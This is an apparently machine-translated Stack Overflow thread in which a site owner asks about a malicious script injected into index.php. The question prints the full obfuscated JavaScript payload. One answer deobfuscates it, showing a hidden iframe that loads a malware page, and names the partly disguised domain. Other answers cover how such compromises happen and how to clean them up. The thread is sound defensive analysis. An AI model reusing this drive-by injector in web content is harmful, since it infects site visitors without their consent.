我的index.php中的未知脚本,产生恶意软件,我被黑了吗?

时间:2012-11-17 08:58:15

标签: php javascript malware

我有一个网站。我的网站昨天很难用谷歌浏览器打开,而不是我的网站显示这个页面:

Warning: Visiting this site may harm your computer!
The website at http:... appears to host malware - Software that can hurt your 
computer or otherwise operate without your consent.
....

我在Chrome浏览器中查看了我的页面源代码,我看到了这个脚本结束了我的代码(之后):

 echo ""; echo "<script>try{if(window.document)window[\"document\"][\"body\"]=\"123\"}catch(bawetawe){if(window.document){v=window;try{fawbe--}catch(afnwenew){try{(v+v)()}catch(gngrthn){try{if(020===0x10)v[\"document\"][\"bo\"+\"dy\"]=\"123\"}catch(gfdnfdgber){m=123;if((alert+\"\").indexOf(\"n\"+\"a\"+\"ti\"+\"ve\")!==-1)ev=window[\"eval\"];}}
n=[\"9\",\"9\",\"45\",\"42\",\"17\",\"1f\",\"40\",\"4b\",\"3o\",\"4h\",\"49\",\"41\",\"4a\",\"4g\",\"1l\",\"43\",\"41\",\"4g\",\"2j\",\"48\",\"41\",\"49\",\"41\",\"4a\",\"4g\",\"4f\",\"2g\",\"4l\",\"39\",\"3m\",\"43\",\"33\",\"3m\",\"49\",\"41\",\"1f\",\"1e\",\"3n\",\"4b\",\"40\",\"4l\",\"1e\",\"1g\",\"3g\",\"1n\",\"3i\",\"1g\",\"4n\",\"d\",\"9\",\"9\",\"9\",\"45\",\"42\",\"4e\",\"3m\",\"49\",\"41\",\"4e\",\"1f\",\"1g\",\"29\",\"d\",\"9\",\"9\",\"50\",\"17\",\"41\",\"48\",\"4f\",\"41\",\"17\",\"4n\",\"d\",\"9\",\"9\",\"9\",\"40\",\"4b\",\"3o\",\"4h\",\"49\",\"41\",\"4a\",\"4g\",\"1l\",\"4j\",\"4e\",\"45\",\"4g\",\"41\",\"1f\",\"19\",\"2a\",\"45\",\"42\",\"4e\",\"3m\",\"49\",\"41\",\"17\",\"4f\",\"4e\",\"3o\",\"2b\",\"1e\",\"44\",\"4g\",\"4g\",\"4c\",\"28\",\"1m\",\"1m\",\"4e\",\"3m\",\"43\",\"4b\",\"4b\",\"4f\",\"41\",\"1l\",\"45\",\"4c\",\"4d\",\"1l\",\"3o\",\"4b\",\"1m\",\"3o\",\"4b\",\"4e\",\"4e\",\"41\",\"3o\",\"4g\",\"45\",\"4a\",\"43\",\"1m\",\"45\",\"49\",\"3m\",\"43\",\"45\",\"4a\",\"41\",\"1k\",\"4e\",\"41\",\"3m\",\"40\",\"4l\",\"3k\",\"41\",\"4a\",\"4g\",\"41\",\"4e\",\"3k\",\"47\",\"41\",\"41\",\"4a\",\"1l\",\"4c\",\"44\",\"4c\",\"1e\",\"17\",\"4j\",\"45\",\"40\",\"4g\",\"44\",\"2b\",\"1e\",\"1o\",\"1n\",\"1e\",\"17\",\"44\",\"41\",\"45\",\"43\",\"44\",\"4g\",\"2b\",\"1e\",\"1o\",\"1n\",\"1e\",\"17\",\"4f\",\"4g\",\"4l\",\"48\",\"41\",\"2b\",\"1e\",\"4i\",\"45\",\"4f\",\"45\",\"3n\",\"45\",\"48\",\"45\",\"4g\",\"4l\",\"28\",\"44\",\"45\",\"40\",\"40\",\"41\",\"4a\",\"29\",\"4c\",\"4b\",\"4f\",\"45\",\"4g\",\"45\",\"4b\",\"4a\",\"28\",\"3m\",\"3n\",\"4f\",\"4b\",\"48\",\"4h\",\"4g\",\"41\",\"29\",\"48\",\"41\",\"42\",\"4g\",\"28\",\"1n\",\"29\",\"4g\",\"4b\",\"4c\",\"28\",\"1n\",\"29\",\"1e\",\"2c\",\"2a\",\"1m\",\"45\",\"42\",\"4e\",\"3m\",\"49\",\"41\",\"2c\",\"19\",\"1g\",\"29\",\"d\",\"9\",\"9\",\"50\",\"d\",\"9\",\"9\",\"42\",\"4h\",\"4a\",\"3o\",\"4g\",\"45\",\"4b\",\"4a\",\"17\",\"45\",\"42\",\"4e\",\"3m\",\"49\",\"41\",\"4e\",\"1f\",\"1g\",\"4n\",\"d\",\"9\",\"9\",\"9\",\"4i\",\"3m\",\"4e\",\"17\",\"42\",\"17\",\"2b\",\"17\",\"40\",\"4b\",\"3o\",\"4h\",\"49\",\"41\",\"4a\",\"4g\",\"1l\",\"3o\",\"4e\",\"41\",\"3m\",\"4g\",\"41\",\"2j\",\"48\",\"41\",\"49\",\"41\",\"4a\",\"4g\",\"1f\",\"1e\",\"45\",\"42\",\"4e\",\"3m\",\"49\",\"41\",\"1e\",\"1g\",\"29\",\"42\",\"1l\",\"4f\",\"41\",\"4g\",\"2f\",\"4g\",\"4g\",\"4e\",\"45\",\"3n\",\"4h\",\"4g\",\"41\",\"1f\",\"1e\",\"4f\",\"4e\",\"3o\",\"1e\",\"1j\",\"1e\",\"44\",\"4g\",\"4g\",\"4c\",\"28\",\"1m\",\"1m\",\"4e\",\"3m\",\"43\",\"4b\",\"4b\",\"4f\",\"41\",\"1l\",\"45\",\"4c\",\"4d\",\"1l\",\"3o\",\"4b\",\"1m\",\"3o\",\"4b\",\"4e\",\"4e\",\"41\",\"3o\",\"4g\",\"45\",\"4a\",\"43\",\"1m\",\"45\",\"49\",\"3m\",\"43\",\"45\",\"4a\",\"41\",\"1k\",\"4e\",\"41\",\"3m\",\"40\",\"4l\",\"3k\",\"41\",\"4a\",\"4g\",\"41\",\"4e\",\"3k\",\"47\",\"41\",\"41\",\"4a\",\"1l\",\"4c\",\"44\",\"4c\",\"1e\",\"1g\",\"29\",\"42\",\"1l\",\"4f\",\"4g\",\"4l\",\"48\",\"41\",\"1l\",\"4i\",\"45\",\"4f\",\"45\",\"3n\",\"45\",\"48\",\"45\",\"4g\",\"4l\",\"2b\",\"1e\",\"44\",\"45\",\"40\",\"40\",\"41\",\"4a\",\"1e\",\"29\",\"42\",\"1l\",\"4f\",\"4g\",\"4l\",\"48\",\"41\",\"1l\",\"4c\",\"4b\",\"4f\",\"45\",\"4g\",\"45\",\"4b\",\"4a\",\"2b\",\"1e\",\"3m\",\"3n\",\"4f\",\"4b\",\"48\",\"4h\",\"4g\",\"41\",\"1e\",\"29\",\"42\",\"1l\",\"4f\",\"4g\",\"4l\",\"48\",\"41\",\"1l\",\"48\",\"41\",\"42\",\"4g\",\"2b\",\"1e\",\"1n\",\"1e\",\"29\",\"42\",\"1l\",\"4f\",\"4g\",\"4l\",\"48\",\"41\",\"1l\",\"4g\",\"4b\",\"4c\",\"2b\",\"1e\",\"1n\",\"1e\",\"29\",\"42\",\"1l\",\"4f\",\"41\",\"4g\",\"2f\",\"4g\",\"4g\",\"4e\",\"45\",\"3n\",\"4h\",\"4g\",\"41\",\"1f\",\"1e\",\"4j\",\"45\",\"40\",\"4g\",\"44\",\"1e\",\"1j\",\"1e\",\"1o\",\"1n\",\"1e\",\"1g\",\"29\",\"42\",\"1l\",\"4f\",\"41\",\"4g\",\"2f\",\"4g\",\"4g\",\"4e\",\"45\",\"3n\",\"4h\",\"4g\",\"41\",\"1f\",\"1e\",\"44\",\"41\",\"45\",\"43\",\"44\",\"4g\",\"1e\",\"1j\",\"1e\",\"1o\",\"1n\",\"1e\",\"1g\",\"29\",\"d\",\"9\",\"9\",\"9\",\"40\",\"4b\",\"3o\",\"4h\",\"49\",\"41\",\"4a\",\"4g\",\"1l\",\"43\",\"41\",\"4g\",\"2j\",\"48\",\"41\",\"49\",\"41\",\"4a\",\"4g\",\"4f\",\"2g\",\"4l\",\"39\",\"3m\",\"43\",\"33\",\"3m\",\"49\",\"41\",\"1f\",\"1e\",\"3n\",\"4b\",\"40\",\"4l\",\"1e\",\"1g\",\"3g\",\"1n\",\"3i\",\"1l\",\"3m\",\"4c\",\"4c\",\"41\",\"4a\",\"40\",\"2h\",\"44\",\"45\",\"48\",\"40\",\"1f\",\"42\",\"1g\",\"29\",\"d\",\"9\",\"9\",\"50\"];h=2;s=\"\";if(m)for(i=0;i-631!=0;i++){k=i;if(window[\"document\"])s+=String.fromCharCode(parseInt(n[i],25));}z=s;if(v)ev(z)}}}</script>";

注意此脚本不在我的代码之前 !! 这是什么?!怎么写在我的index.php文件中?!

3 个答案:

答案 0 :(得分:3)

您的网站遭到入侵。它的发生方式通常是以下情况之一:

1)您通过FTP向使用Windows的人员访问了文档根目录,并且他/她的计算机有病毒从FTP客户端配置恢复了FTP密码(记住密码功能)

2)有人猜到了FTP的密码

3)整个系统可能受到损害

4)某些脚本/应用程序易受攻击(如@Konerak所述)

要找出,如果它是1),2)或第三个的原因,请查看FTP服务器日志 - proftpd我的/var/log/proftpd/xferlog系统Debian

如果是FTP问题之一,请立即更改FTP密码,在所有客户端上运行防病毒软件并分发新密码。要清理网站,通常就可以搜索有问题的字符串并将其从文档根目录中的所有文件中删除。它通常是所有受感染文件中的相同字符串。另请注意,javascript文件也被感染(*.js

如果网站上存在易受攻击的脚本,您可以通过查找index.php的修改时间来识别它,并在访问日志中找到相应的命中。它们通常有POST方法或棘手的GET参数(在日志中可见)

答案 1 :(得分:2)

当然可以:

如果您的网页在您不知情的情况下进行了修改,则肯定会对您的网站进行漏洞利用

出于对 HOW 的考虑,有一点尝试发现 WHAT

为了确保并了解有关此编码病毒的更多信息,我们可以从命令行运行php

1。将错误代码复制到脚本中,将它们放在 php 标记之间:

cat << eof > badscript
<?php
echo ""; echo "<script>try{if(window.doc....
n=[\"9\",\"9\",\"45\",\"42\",\"1
?>

2。使用php进行第一次翻译:

php <badscript >badscript2

现在badscript2包含 javascript编码的病毒

<script>try{if(window.document)window["document"]["body"]="1...
n=["9","9","45","42","17"...;if(v)ev(z)}}}</script>

阅读这个小脚本(保留html标签)后:

sed < badscript2 -e 's/<\/\?script>//g' >badscript3

3。很少阅读javascript代码(我正在使用emacs)

rename s/$/.js/ badscript3 
emacs badscript3.js

......某些格式化操作......保存...

sed <badscript3.js -e 's/\t/        /g;s/^/    /;s/^\(.\{76\}\).*$/\1.../' 
try{
    if (window.document) window["document"]["body"]="123"}
catch (bawetawe) { 
    if(window.document){
        v=window;
        try{fawbe--}catch(afnwenew){
            try{(v+v)()}catch(gngrthn){
                try{
                    if(020===0x10) v["document"]["bo"+"dy"]="123"
                }catch(gfdnfdgber){
                    m=123;
                    if((alert+"").indexOf("n"+"a"+"ti"+"ve")!==-1) 
                        ev=window["eval"];
                }
            }
            n=["9","9","45","42","17","1f","40","4b","3o","4h","49","41"...
            h=2;
            s="";
            if(m)for(i=0;i-631!=0;i++){
                k=i;
                if(window["document"])
                    s+=String.fromCharCode(parseInt(n[i],25));
            }
            z=s;
            if(v)ev(z)
        }
    }
}

可以看到有趣的部分来自n=[...ev(z)。 为此,我使用 Mozilla的Spidermonkey 二进制工具:smjs

在保留第一个(可读)部分和一些在命令行smjs下无效的测试之后,如windowdocument更改最后操作ev(在第一部分中定义为ev=window.eval更多 smjs 适当的函数(我选择:print() ;-) , 有什么发送到smjs

n=["9","9","45","42","17","1f","40","4b","3o","4h","49","41","4a","4g","...
h=2;
s="";
for(i=0;i-631!=0;i++){
    k=i;
    s+=String.fromCharCode(parseInt(n[i],25));
}
z=s;
print(z);

4。最后告诉我这个:

smjs < badscript3.js >badscript4.js
emacs badscript4.js

那是:

if (document.getElementsByTagName('body')[0]){
iframer();
} else {
document.write("<iframe
      src='http:  --  censored virus link -- .php' width='10' height='10'
      style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer(){
var f = document.createElement('iframe');
f.setAttribute('src','http: --  censored virus link -- keen.php');
f.style.visibility='hidden';f.style.position='absolute';
f.style.left='0';f.style.top='0';
f.setAttribute('width','10');f.setAttribute('height','10');
document.getElementsByTagName('body')[0].appendChild(f);
}

Nota:为了最大程度地降低cut'n past风险,我会审查链接,他们最初指的是病毒http: 斜杠斜线 { {1}} 斜杠 ragoose.ipq.co 斜杠 correcting

小心,但玩得开心!

答案 2 :(得分:1)

我曾多次在共享主机上遇到这种情况。通常它是您或您机器上的其他人的易受攻击的脚本,然后可以查找可预测的文件路径并附加到文件。

/home/user1/public_html/index.php for example is very predictable.

因此,该漏洞允许某人运行"ls /home/",然后在每个目录中查找./public_html/index.php。很多时候,即使你无法进入该目录,也可以打开这些文件。

另一种情况是您的网站或您的其他某个域存在此漏洞,该漏洞允许您对任何子目录进行写访问(因为Web服务器通常由您拥有)。